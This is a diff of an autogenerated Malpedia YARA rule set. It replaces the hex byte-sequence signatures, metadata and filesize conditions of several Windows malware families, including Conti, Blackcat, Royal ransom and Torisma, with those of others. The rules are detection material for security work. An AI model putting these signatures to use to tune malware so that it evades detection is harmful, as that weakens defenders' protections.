-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netrepser_keylogger_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rapid_ransom_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "afbddedf93927cf0ceddcdc20a2ff3aea4d270191a04c2cfa6d38a1b702f0067"
+		logic_hash = "467069894b412bd66ec7bc5db00e763aed4734a1d880a5b3cc4cb8b392b71ec1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141275,40 +148151,39 @@ rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8a55f3 80c201 8855f3 837df807 7517 0fbe45f3 c6840570ffffff3a }
-		$sequence_1 = { 51 8b5508 52 ff15???????? eb71 8d45ec 50 }
-		$sequence_2 = { 51 680104c378 e8???????? 83c40c 8d55e8 52 }
-		$sequence_3 = { 8945f4 8b45f4 33d2 b900ca9a3b f7f1 8955f4 8b55f4 }
-		$sequence_4 = { 33c9 894ddc 894de0 894de4 894de8 c745dc10000000 c745e001000000 }
-		$sequence_5 = { 8b55f0 52 ff15???????? 8b45c0 8be5 }
-		$sequence_6 = { c645f274 c645f369 c645f466 c645f569 }
-		$sequence_7 = { 7e0b 83bde4feffff08 7d02 ebcb 83bde4feffff1a 7e0b }
-		$sequence_8 = { c744240c57726974 c74424106550726f c744241463657373 c74424184d656d6f c744241c72790000 ff15???????? a3???????? }
-		$sequence_9 = { 8b701c 8bcf e8???????? 8b4c240c }
-		$sequence_10 = { 51 c74424084f70656e c744240c50726f63 c744241065737300 ff15???????? a3???????? 8b542448 }
-		$sequence_11 = { 56 33ff 53 8906 894e08 }
-		$sequence_12 = { 68???????? ff15???????? 8bf8 85ff 7472 }
-		$sequence_13 = { 55 8b6c244c 85c0 7550 }
-		$sequence_14 = { f3a5 8b8c24b4000000 a4 8db329010000 56 }
-		$sequence_15 = { b840000000 55 89442410 89442414 8d442410 50 8d4c2418 }
+		$sequence_0 = { 50 6801000004 6800a40000 ff75f8 }
+		$sequence_1 = { 83ec10 53 56 57 8bf9 32db 8bf2 }
+		$sequence_2 = { 83ec1c 53 57 8bf9 8bc2 }
+		$sequence_3 = { ff15???????? 6a00 ff75f8 ff15???????? 5e 5f 8ac3 }
+		$sequence_4 = { 7509 803a00 0f840c010000 8d742464 b8???????? 84db }
+		$sequence_5 = { 56 8bf2 8975fc 57 8bf9 85db }
+		$sequence_6 = { e8???????? 83c430 8d45f4 6800010000 }
+		$sequence_7 = { 7425 ff7514 8b542418 8bce ff7510 c644241701 57 }
+		$sequence_8 = { 0f8483000000 eb7d 8b1c9df8584100 6800080000 }
+		$sequence_9 = { 740e 50 e8???????? 83a6e8d0410000 59 83c604 }
+		$sequence_10 = { 8be5 5d c3 ff75e0 e8???????? 53 e8???????? }
+		$sequence_11 = { eb72 8d04cd00000000 2bc1 46 8935???????? c6048564d3410001 893c856cd34100 }
+		$sequence_12 = { 6804010000 8d85a4feffff 8bf1 6a00 50 }
+		$sequence_13 = { 40 c745ecf54e4000 894df8 8945fc 64a100000000 8945e8 }
+		$sequence_14 = { 83c9ff c7430c01000000 c7431000000000 eb2f }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Conti_Auto : FILE
+rule MALPEDIA_Win_Adkoob_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "aae9ecae-21cf-5ec8-8511-8157ca36f115"
+		id = "09ef20a4-923f-52b9-be25-7277d044ed19"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.conti_auto.yar#L1-L225"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adkoob_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "0be9a10d7e2a11f01ccc516eb831064a902454185cea8a72f6170734199b0c59"
+		logic_hash = "0f163717fb5860f8982d25c9dbbe18c357f664ad9d46a5bfca06cc794c00bf30"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -141320,46 +148195,32 @@ rule MALPEDIA_Win_Conti_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 56 57 bf0e000000 8d7101 }
-		$sequence_1 = { 8d7f01 0fb6c0 b978000000 2bc8 }
-		$sequence_2 = { 57 bf0a000000 8d7101 8d5f75 8a06 8d7601 0fb6c0 }
-		$sequence_3 = { 8d7f01 0fb6c0 b96c000000 2bc8 }
-		$sequence_4 = { 0f1f4000 8a07 8d7f01 0fb6c0 b948000000 }
-		$sequence_5 = { 8975fc 803e00 7541 53 bb0a000000 }
-		$sequence_6 = { 8975fc 803e00 7542 53 bb0e000000 }
-		$sequence_7 = { 8d7f01 0fb6c0 b909000000 2bc8 }
-		$sequence_8 = { e8???????? 8bb6007d0000 85f6 75ef 6aff }
-		$sequence_9 = { 50 6a20 ff15???????? 68???????? ff15???????? 68???????? }
-		$sequence_10 = { 780e 7f07 3d00005000 7605 }
-		$sequence_11 = { 8bec 8b4d08 e8???????? 6a00 ff15???????? }
-		$sequence_12 = { 50 8b4508 ff7004 ff15???????? 85c0 7508 6a01 }
-		$sequence_13 = { 6810660000 ff7508 ff15???????? 85c0 }
-		$sequence_14 = { 85ff 7408 57 56 ff15???????? ff75f8 56 }
-		$sequence_15 = { 7411 a801 740d 83f001 50 ff7608 }
-		$sequence_16 = { 48894c2430 4c8d45ff 488d4d0f 418bd6 48894c2428 488d4d07 48894c2420 }
-		$sequence_17 = { 42884c0500 49ffc0 4983f80d 72af 44884d0f }
-		$sequence_18 = { 33d2 ffd0 897c2450 b856555555 }
-		$sequence_19 = { 0fb64500 0fb645ff 84c0 755c }
-		$sequence_20 = { 488b4f30 488b4738 4885c9 7406 }
-		$sequence_21 = { 48894c2448 488d55e0 488d4c2470 4533c0 }
-		$sequence_22 = { 42884c0501 49ffc0 4983f80c 72af }
-		$sequence_23 = { 41b801000000 488bd3 8bcf ffd0 4d85f6 }
+		$sequence_0 = { ff706c ffb0b0000000 8bc7 6a14 59 99 f7f9 }
+		$sequence_1 = { ff75f0 6a38 5a e8???????? 83c40c 8bce 40 }
+		$sequence_2 = { 8d5801 e9???????? 53 8bcf e8???????? 8b5dd8 84c0 }
+		$sequence_3 = { 8955f8 8b90d4000000 0fb6443b06 c1e108 0bc8 897de8 2bf1 }
+		$sequence_4 = { ff504c 85c0 7536 8b75dc 56 ff15???????? 50 }
+		$sequence_5 = { 8b7508 83fe09 7756 80beac1d4c0000 57 8b3d???????? 0f453d???????? }
+		$sequence_6 = { ff75e8 ff15???????? 837dd000 8b35???????? 7405 ff75d0 ffd6 }
+		$sequence_7 = { ff742418 68???????? e8???????? 83c40c 89442428 85c0 747b }
+		$sequence_8 = { ff7510 8bce ffb578ffffff ff75b8 ff7598 ffb564ffffff ff75c4 }
+		$sequence_9 = { 8b4744 52 50 8b08 ff5114 59 59 }
 
 	condition:
-		7 of them and filesize <520192
+		7 of them and filesize <1867776
 }
-rule MALPEDIA_Win_Allaple_Auto : FILE
+rule MALPEDIA_Win_Blackcat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3189c357-03ca-579b-a008-778eac3a8556"
+		id = "64552e7e-a42b-5e42-ac85-4cf9a6355d18"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.allaple_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackcat_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "415071fc213b7748f93f2d59f832b2786979b53afe7fe779d13e0c2bb9460bfe"
+		logic_hash = "2fe3958ae160b549a525be2a75569af9cb09940744adfe7a2969b920b4e1603b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141373,32 +148234,32 @@ rule MALPEDIA_Win_Allaple_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ff75a0 e8???????? 83f8ff 756a e8???????? 3d33270000 }
-		$sequence_1 = { 7708 2b7b0c 037b14 eb0f 83c328 83c628 }
-		$sequence_2 = { 6a40 8b55a8 8d4db0 e8???????? 8b55f8 2355f4 8b45f8 }
-		$sequence_3 = { 6a14 ff7508 57 e8???????? 83c714 c70701000000 83c704 }
-		$sequence_4 = { 6800800000 6a00 ff75e0 e8???????? eb09 0bc0 7505 }
-		$sequence_5 = { 55 8bec 83ec24 8955e0 894de4 c745fc00000000 8b45fc }
-		$sequence_6 = { 894174 8b55fc 8b4278 3345f4 8b4df8 894178 8b55fc }
-		$sequence_7 = { 0f8539010000 8145f8bc020000 ff75f8 e8???????? 8945f4 ff75fc ff75f4 }
-		$sequence_8 = { ff45fc 8b45fc 3b4510 7ce5 8be5 5d c3 }
-		$sequence_9 = { 8b4df8 894178 8b55fc 8b427c 3345f4 8b4df8 89417c }
+		$sequence_0 = { c3 894608 c7460400000000 b001 ebe8 89c2 }
+		$sequence_1 = { 7260 8b06 01d8 51 57 50 89cf }
+		$sequence_2 = { 8975dc 8955e0 eb07 31c0 b902000000 }
+		$sequence_3 = { b104 eb0f e8???????? 89c2 c1e018 31c9 }
+		$sequence_4 = { 7504 3c02 7351 88c4 8975cc }
+		$sequence_5 = { 81f9cf040000 0f8fe4000000 81f96b040000 0f84b4010000 81f976040000 }
+		$sequence_6 = { 83ec08 a1???????? c745f800000000 c745fc00000000 85c0 7408 8d4df8 }
+		$sequence_7 = { 8d45f8 50 e8???????? 8b45f8 8b55fc 83c408 }
+		$sequence_8 = { 895804 897008 eb0b 8b45e8 894708 }
+		$sequence_9 = { ff45e4 8a02 42 8955e8 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <29981696
 }
-rule MALPEDIA_Win_Afrodita_Auto : FILE
+rule MALPEDIA_Win_Torisma_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a57e10f8-454f-5804-9e05-9ca06675125c"
+		id = "a1ed0c86-448e-5725-a3d9-4e9a8d06915c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.afrodita_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.torisma_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "5b27d8ca339092e6723ab16dacd8e13cc60f1f330873451b2d099d87287bfb55"
+		logic_hash = "5ec5e797b8010193d7caa6926dd920962119b17c8339298b3be41306fc75b6f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141412,32 +148273,35 @@ rule MALPEDIA_Win_Afrodita_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e615 83ce02 89710c 23c6 74a5 a804 740a }
-		$sequence_1 = { e8???????? 56 8d8558ffffff c745fc05000000 57 83cb08 50 }
-		$sequence_2 = { e8???????? eb02 33ff 8bb57cffffff c745fcffffffff 8b4e2c 85c9 }
-		$sequence_3 = { 8d4f10 e8???????? 8b0f 8b4904 03cf 85c0 7454 }
-		$sequence_4 = { 0f1040c0 0f1149a0 0f104c30c0 8b75e8 660fefc8 0f1040d0 0f114c30c0 }
-		$sequence_5 = { 897304 c6430801 53 8d4de4 }
-		$sequence_6 = { 8b4b08 8b7b0c 897df8 894dfc 3bce }
-		$sequence_7 = { e8???????? 83c40c c744be0400000000 c704be00000000 5e 5b }
-		$sequence_8 = { 50 8bcb ff5720 0375d4 8bce e8???????? }
-		$sequence_9 = { 894f04 8bc7 e9???????? 83f854 0f8fdc010000 83f853 0f8dea020000 }
+		$sequence_0 = { e8???????? 3d83490000 7507 b883490000 }
+		$sequence_1 = { 7402 eb05 e9???????? b833280000 }
+		$sequence_2 = { e8???????? 3d514b0000 7504 33c0 }
+		$sequence_3 = { 488b4c2470 e8???????? 89442458 817c245870100000 }
+		$sequence_4 = { 030cb540ef0110 eb02 8bca f641247f 759b }
+		$sequence_5 = { b833280000 5f 5e 8be5 5d }
+		$sequence_6 = { 8b55fc 833a00 740c 8b45fc 8b08 51 }
+		$sequence_7 = { 488d442440 488bf8 33c0 b928000000 }
+		$sequence_8 = { 8b4c2430 488b542450 89048a ebb5 }
+		$sequence_9 = { 817dd833280000 7507 c745f433280000 eb07 c745f433280000 }
+		$sequence_10 = { c68424e1000000e9 c68424e2000000c3 c68424e3000000a5 c68424e400000090 }
+		$sequence_11 = { ff2495c0d50010 8bc7 ba03000000 83e904 720c 83e003 }
+		$sequence_12 = { c1e006 0b442414 88442410 8b442440 }
 
 	condition:
-		7 of them and filesize <2334720
+		7 of them and filesize <322560
 }
-rule MALPEDIA_Win_Mebromi_Auto : FILE
+rule MALPEDIA_Win_Iisniff_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e0d98380-a60b-51d2-98f3-302d440340e7"
+		id = "4d48d0b9-4608-5fda-9d9c-52fef07b4d04"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mebromi_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iisniff_auto.yar#L1-L161"
 		license_url = "N/A"
-		logic_hash = "4361b37a1cf79aacd380ae78b2f2e74bbc44d101b09510c6583cf0529e44be88"
+		logic_hash = "eea8ed3537fc508bcc20c7dcdf7a5fa6fb525fac16191889baa1f35692f7bc88"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141451,32 +148315,37 @@ rule MALPEDIA_Win_Mebromi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 743a 837d0800 742e 85f6 7419 0fb6da f68301a0290004 }
-		$sequence_1 = { 68ff010f00 68???????? ff742410 ff15???????? 8bf0 85f6 7416 }
-		$sequence_2 = { 7714 8b55fc 8a9270722900 089001a02900 }
-		$sequence_3 = { 683f000f00 55 55 ff15???????? 8bf0 e8???????? 56 }
-		$sequence_4 = { 48 750c e8???????? eb05 e8???????? 6a01 }
-		$sequence_5 = { 0fb6fa 3bc7 7714 8b55fc 8a9270722900 089001a02900 }
-		$sequence_6 = { 2c29 0000 2d29008a46 0323 d18847034ec1 e9???????? }
-		$sequence_7 = { 0fb6d2 f68201a0290004 740c ff01 }
-		$sequence_8 = { aa 8d9e88722900 803b00 8bcb 742c 8a5101 84d2 }
-		$sequence_9 = { 50 6a01 56 ff15???????? 56 8bf8 ff15???????? }
+		$sequence_0 = { 85c0 7513 8b442414 8b4804 53 }
+		$sequence_1 = { 8b8c240c000100 56 8d842414000100 50 51 }
+		$sequence_2 = { 7507 be04000000 eb69 c645fc01 8b0f }
+		$sequence_3 = { 55 56 8bb42488000000 57 33db }
+		$sequence_4 = { 83d8ff 85c0 7537 8dbc24a4000000 e8???????? }
+		$sequence_5 = { 5f 5b c20400 8b4038 8b08 890e }
+		$sequence_6 = { 8b45cc ff704c e8???????? 59 83f8ff 0f852cffffff }
+		$sequence_7 = { 56 8d4dd4 894598 e8???????? 8365fc00 56 8d4d9c }
+		$sequence_8 = { 895c241c 89442420 e8???????? 8bf0 }
+		$sequence_9 = { e8???????? 83c404 8d8c24fc000000 899c2448010000 89bc2444010000 }
+		$sequence_10 = { 6a03 68000000c0 68???????? ff15???????? 6a02 }
+		$sequence_11 = { e8???????? 8b4f3c 8b11 8d75c8 56 ff75cc }
+		$sequence_12 = { ff75e8 e8???????? 834dfcff 8b45dc }
+		$sequence_13 = { c3 ff7508 e8???????? 59 c3 833d????????00 7505 }
+		$sequence_14 = { 64a300000000 80bc24a400000000 7409 6a00 6a00 e8???????? 8b410c }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <1441792
 }
-rule MALPEDIA_Win_Sage_Ransom_Auto : FILE
+rule MALPEDIA_Win_Glitch_Pos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "847781b4-d239-5a8c-9601-0e5bac6cb5da"
+		id = "f95f1f9c-9245-5181-9c68-89e1dc86d5ed"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sage_ransom_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.glitch_pos_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "0e6ae75d84196f5850e13769b0aaa494f43257ce3727ef9fdf2f02bbc3316ba8"
+		logic_hash = "27fcd67a00a15c3597cc82166656216e7d9a07529c9493cfeef64f5dddb0c04c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141490,38 +148359,32 @@ rule MALPEDIA_Win_Sage_Ransom_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 57 56 68???????? e8???????? 83c408 6a00 6a00 }
-		$sequence_1 = { 8b74246c 57 c7442408adde9e5a b908000000 8d7c240c f3a5 8b742478 }
-		$sequence_2 = { 6a02 ff15???????? 8bf0 8d471c }
-		$sequence_3 = { 55 56 894c243c ff15???????? 83f8ff 7541 56 }
-		$sequence_4 = { 56 57 6af5 ff15???????? 8b15???????? 83c204 52 }
-		$sequence_5 = { 68e0930400 ffd6 6a02 e8???????? 83c404 68c0270900 }
-		$sequence_6 = { 0facf014 89442420 c1ee14 8bc6 }
-		$sequence_7 = { 83c438 833d????????00 7513 e8???????? 50 }
-		$sequence_8 = { 01410c 8b4310 014110 8b4314 }
-		$sequence_9 = { 013c13 83c102 46 ebd3 }
-		$sequence_10 = { 014114 8b4318 014118 8b431c }
-		$sequence_11 = { 0101 8b4304 014104 8b4308 014108 }
-		$sequence_12 = { 891c24 89442404 e8???????? 31d2 3955dc 0f86df000000 }
-		$sequence_13 = { 014110 8b4314 014114 8b4318 }
-		$sequence_14 = { 0119 117104 83c110 83c210 }
-		$sequence_15 = { 014108 8b430c 01410c 8b4310 }
+		$sequence_0 = { 83a5d8feffff00 8b45b8 898518ffffff 8d45d0 50 8b8518ffffff }
+		$sequence_1 = { 8b4508 8b00 ff7508 ff9028070000 668b45d4 662d0100 }
+		$sequence_2 = { ffb504ffffff e8???????? 89855cfeffff eb07 83a55cfeffff00 8d8d5cffffff e8???????? }
+		$sequence_3 = { e8???????? 8d8520ffffff 50 8d8530ffffff 50 8d45dc 50 }
+		$sequence_4 = { 68???????? 68???????? e8???????? c78568feffff2cc34600 eb0a c78568feffff2cc34600 8b8568feffff }
+		$sequence_5 = { eb07 83a5fcfdffff00 8d45c4 50 8d45cc 50 6a02 }
+		$sequence_6 = { 8b4d10 660301 0f8058040000 668945ec 8b4508 8b00 }
+		$sequence_7 = { 83c40c 68???????? 6a00 6a06 8b4508 }
+		$sequence_8 = { 8d45b4 50 8d45b8 50 6a03 e8???????? }
+		$sequence_9 = { 8bec 83ec0c 68???????? 64a100000000 50 64892500000000 b8bc000000 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <1024000
 }
-rule MALPEDIA_Win_Fengine_Auto : FILE
+rule MALPEDIA_Win_Royal_Ransom_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c3f38b1d-0317-5325-80d6-6bc13a77b878"
+		id = "03d0866a-b258-5731-ad57-bc4b0e928885"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.fengine_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_ransom"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.royal_ransom_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "04b59b3b4a1631576dab348f5698f6f17211f788439d858316727821c2f4b921"
+		logic_hash = "05d0adf9ccc7ed8f53f566dd8191bfd8d7450964340be8e2ce8cbced72447263"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141535,34 +148398,34 @@ rule MALPEDIA_Win_Fengine_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 72e2 8b5c2414 8d842490000000 50 }
-		$sequence_1 = { 833cfd4010410000 755b 6a18 e8???????? 59 }
-		$sequence_2 = { 50 ff15???????? 68???????? 8d85fcf7ffff 6800080000 }
-		$sequence_3 = { 7405 352083b8ed 46 3bf7 0f825fffffff 5f }
-		$sequence_4 = { c1e81e 83e001 83e101 8d0c48 8bc6 }
-		$sequence_5 = { 53 8d4e04 6800080000 51 }
-		$sequence_6 = { 56 e8???????? 8b8de4feffff 8b95e0feffff 8b413c 03c6 8bb5dcfeffff }
-		$sequence_7 = { 83c408 85c0 750f c705????????03000000 e9???????? ffb5bcfaffff }
-		$sequence_8 = { eb23 8b9d2ce5ffff 8a02 8b0c9d60514100 }
-		$sequence_9 = { 83e31f c1e306 8b048560514100 0fbe441804 83e001 }
+		$sequence_0 = { 752f e8???????? 4c8d05d60c1400 ba8b010000 488d0d320c1400 e8???????? 4533c0 }
+		$sequence_1 = { e9???????? 2bc3 488d0d2df4dfff 488b8ce9d02c2d00 8064f93dfd f7d8 1ac0 }
+		$sequence_2 = { e8???????? 33c0 e9???????? 488b4820 e8???????? 85c0 0f8497020000 }
+		$sequence_3 = { e8???????? 488d4e24 448bc8 4c8d0579a80d00 ba09000000 e8???????? 488bcb }
+		$sequence_4 = { 8bc2 896c2444 418bfe 83fa02 7d3e e8???????? 4c8d05e7a90f00 }
+		$sequence_5 = { 488d1507b51300 41b893040000 e8???????? 41b894040000 488d15efb41300 488bcf e8???????? }
+		$sequence_6 = { e8???????? baa6000000 4c89742420 4c8bcd 4c8d05f3a80e00 8d4a93 e8???????? }
+		$sequence_7 = { 754a e8???????? 4c8d054e820d00 baa2000000 488d0df2810d00 e8???????? 4533c0 }
+		$sequence_8 = { b828000000 e8???????? 482be0 488d15fc4fffff 488d0d5de62000 e8???????? 33c9 }
+		$sequence_9 = { e8???????? 85c0 7437 488d05297a0000 4c89742430 4889442428 4c8d0d485c0e00 }
 
 	condition:
-		7 of them and filesize <210944
+		7 of them and filesize <6235136
 }
-rule MALPEDIA_Win_Elirks_Auto : FILE
+rule MALPEDIA_Win_Hookinjex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "abbbcbca-d514-5806-9c10-833d31c8983a"
+		id = "cc81917a-8c1e-59eb-8738-a94445516bc1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.elirks_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hookinjex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hookinjex_auto.yar#L1-L148"
 		license_url = "N/A"
-		logic_hash = "4de38c5bbb938b8f52d51f635312140a804238195b0d5824203719bed438cd32"
-		score = 75
-		quality = 75
+		logic_hash = "afb96fa06c3548b099102aa92aa51777edafb1bb6fe4920aba390d45066ccc62"
+		score = 60
+		quality = 25
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -141574,32 +148437,38 @@ rule MALPEDIA_Win_Elirks_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d4c2414 51 68???????? 8bf0 ff15???????? }
-		$sequence_1 = { 85c0 7417 8b44241c 01442414 03f0 2bf8 e9???????? }
-		$sequence_2 = { 51 8d44241c e8???????? 8b8e04600000 83c404 }
-		$sequence_3 = { 83c102 66c7012d00 83c102 66c7012d00 83c102 83ef03 83c603 }
-		$sequence_4 = { 68???????? 8d442430 e8???????? 83c40c }
-		$sequence_5 = { 7fe8 85ff 0f84a1010000 85ff 7e25 }
-		$sequence_6 = { c1f803 0faf4608 894614 6a68 }
-		$sequence_7 = { 52 ff15???????? 8bd8 83fbff 895c2410 7546 }
-		$sequence_8 = { 8d8c2490060000 51 6804010000 ff15???????? 8d9e0c600000 53 6a00 }
-		$sequence_9 = { 750b 57 e8???????? 83c404 5e c3 }
+		$sequence_0 = { e8???????? 85c0 740c b913e40000 }
+		$sequence_1 = { e8???????? b964000000 ff15???????? 0fb705???????? }
+		$sequence_2 = { e8???????? 85c0 7507 b80e000000 }
+		$sequence_3 = { e9???????? 488b4c2458 e8???????? 488b4c2450 }
+		$sequence_4 = { e8???????? b95b730100 e8???????? e9???????? }
+		$sequence_5 = { e8???????? 85c0 750f b9dc550100 }
+		$sequence_6 = { e8???????? 833d????????00 7411 b903000000 e8???????? }
+		$sequence_7 = { e8???????? 85c0 7408 803b00 }
+		$sequence_8 = { 48817c243000100000 0f82dc020000 488b442460 4889442438 }
+		$sequence_9 = { 2500180000 3d00080000 750d c78424e800000001000000 eb0b }
+		$sequence_10 = { 25001b0000 3d00100000 750a c744244401000000 }
+		$sequence_11 = { 25001b0000 3d00110000 750d c784243c01000001000000 }
+		$sequence_12 = { 25001b0000 3d00100000 750d c784242401000001000000 }
+		$sequence_13 = { 2500180000 3d00180000 750a c744247c01000000 }
+		$sequence_14 = { 25001b0000 3d00110000 750a c744245c01000000 }
+		$sequence_15 = { 48817c243800100000 0f82f5000000 488b442438 4883c02f }
 
 	condition:
-		7 of them and filesize <81920
+		7 of them and filesize <6545408
 }
-rule MALPEDIA_Win_Megumin_Auto : FILE
+rule MALPEDIA_Win_Kikothac_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "992bacc8-d168-5613-b9a1-b270fb7e71d1"
+		id = "48840edd-1eda-587e-96d1-699222be4802"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.megumin_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kikothac_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "d3f02e69acad5c637179e097455fd85b104ce227d90fce5cb059c87c08c3436c"
+		logic_hash = "ddecb618114edd432a6ac40a5ecfd59b3208358e4b28a6940c432c46b4921216"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -141613,32 +148482,32 @@ rule MALPEDIA_Win_Megumin_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b348510164600 037520 6b45243c 034528 6bc03c 03452c }
-		$sequence_1 = { 8945e8 57 8d4dd8 c745fc00000000 e8???????? 8b45e8 85c0 }
-		$sequence_2 = { 8d45f4 64a300000000 6841010000 8d8528faffff c745fc00000000 6a00 50 }
-		$sequence_3 = { 8d4dd8 8d45c0 50 e8???????? ff37 8d55d7 8d4db0 }
-		$sequence_4 = { c60100 e8???????? 8d4c2430 e8???????? 8bc8 83c418 83791410 }
-		$sequence_5 = { 833d????????00 0f8549870000 8d0d90e74500 ba1d000000 e9???????? 833d????????00 0f852c870000 }
-		$sequence_6 = { 83c404 8d8d14fdffff c645fc1a 51 8bd0 8d8d04fbffff }
